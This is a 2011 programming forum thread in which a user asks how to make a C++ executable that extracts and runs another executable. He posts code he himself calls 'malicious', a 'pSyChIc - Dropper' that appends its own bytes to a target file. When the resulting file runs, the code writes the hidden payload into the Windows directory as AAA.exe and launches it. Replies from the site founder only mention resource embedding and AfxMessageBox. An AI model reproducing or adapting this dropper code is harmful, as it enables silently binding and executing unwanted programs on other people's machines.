Output Exe File - Extract it from another Exe

John Hoder
28Apr2011,10:53   #1
Scripting's Avatar
Hello guys, I want to ask you for a little help.
I wand to find out how to make such a executable file (in C++), that if it is run, it will extract another executable Exe e.g to directory C:\\my_extracted_file.exe. And that my_extracted_file.exe should display some MessageBox, if it's run.


I hope, that someone will help me, I read alots of internet articles about this, but I failed...
Please don't post me some references, I can't understand it somehow. I would be very delighted if you show me some example code (C++).
Go4Expert Founder
28Apr2011,11:03   #2
shabbir's Avatar
I don't have the program in hand but can shed you the concept on how to get this done.

Create the exe file you want to be extracted.

Now Add that exe file as a resource to the other project and in some handler extract the resource as an executable file.
Scripting like this
John Hoder
28Apr2011,15:57   #3
Scripting's Avatar
Quote:
Originally Posted by shabbir View Post
I don't have the program in hand but can shed you the concept on how to get this done.

Create the exe file you want to be extracted.

Now Add that exe file as a resource to the other project and in some handler extract the resource as an executable file.
But how to add resource to other project? (Dev-C++). And how to extract resource
I know that it seems like i'm just stupid beginner, but I have done a good deal of work in C++,
but just can't get this, what you just explained me. But nevertheless thank you for reply...
Go4Expert Founder
28Apr2011,16:18   #4
shabbir's Avatar
I am not an expert in Dev-C++ but in MFC you can add the resource.
Scripting like this
John Hoder
28Apr2011,16:36   #5
Scripting's Avatar
Ok, so I found some "malicious" code, It creates some exe in windir, but that exe is empty, so if you can, please suggest me how to write to that file MessageBox function.

Here's the code:
Code:
#include <iostream.h>
#include <fstream.h>
#include <windows.h>
#include <string.h>
int write(int mysize,char *tpath,char *mybuf)
{
    int tsize = 0;
    ifstream tfile(tpath,ios::binary);
    tfile.seekg (0,ios::end);
    tsize = tfile.tellg(); 
    tfile.seekg (0,ios::beg); 
    char tbuf[tsize];    
    tfile.read(tbuf,tsize);     
    tfile.close();     
    ofstream outputfile(tpath,ios::binary);     
    outputfile.write(mybuf,mysize);     
    outputfile.write(tbuf,tsize);     
    outputfile.close();     
    cout<<tpath<<endl; 
};    
  
void extract(int mysize,char *target)
{     
      char windir[250];
      GetWindowsDirectory(windir,MAX_PATH);     
      ifstream tfile(target,ios::binary);     
      tfile.seekg (427646);     
      int theamount = mysize - 427646;     
      char tbuf[theamount];     
      tfile.read(tbuf,theamount);     
      tfile.close();     
      char mypath[100];     
      strcpy (mypath,windir);     
      strcat (mypath,"\\AAA.exe");     
      ofstream outfile(mypath,ios::binary);     
      outfile.write(tbuf,theamount);     
      outfile.close();     
      cout<<mypath;     
      system(mypath); };  
         
int checkit(int mysize,char *mybuf,char *target)
{     
      int checker = 0;     
      char tpath[512];      
      if (mysize != 427646)     
      {     
            extract(mysize,target);
      }         
      else     
      {     
            cout<<"pSyChIc - Dropper"<<endl;
            cout<<"Input file path"<<endl;
            cin>>tpath;
            write (mysize,tpath,mybuf);
      }             
};      

int main(int argc, char *argv[]) 
{ 
    long mysize;
    char *target;
    target= argv[0];
    ifstream myfile(argv[0],ios::binary);
    myfile.seekg (0,ios::end);
    mysize = myfile.tellg();
    myfile.seekg (0,ios::beg); 
    char mybuf[mysize]; 
    myfile.read(mybuf,mysize); 
    myfile.close();    
    checkit (mysize,mybuf,target);
}
Do not care about some Check func or any other parts

I think this will be easier and more compatible than ur previous idea, but that was good too, only problem is that i don't know how to work with MFC ..., so please help me with this .

Last edited by Scripting; 28Apr2011 at 16:40..
John Hoder
28Apr2011,20:15   #6
Scripting's Avatar
I don't quite understand that code, but I just need to add there that MessageBox function, that's all. Thank for all replies !
Go4Expert Founder
28Apr2011,20:27   #7
shabbir's Avatar
Try AfxMessageBox
John Hoder
28Apr2011,20:37   #8
Scripting's Avatar
As I told you previously, I can't use any Afx or similiar VC++ things, I use Dev-C++, so please suggest me some solution for the code i posted previously.
John Hoder
30Apr2011,17:36   #9
Scripting's Avatar
Damn, no one can solve this problem ...
John Hoder
3May2011,17:58   #10
Scripting's Avatar
go4noob, there is none expert, who could solve this problem ...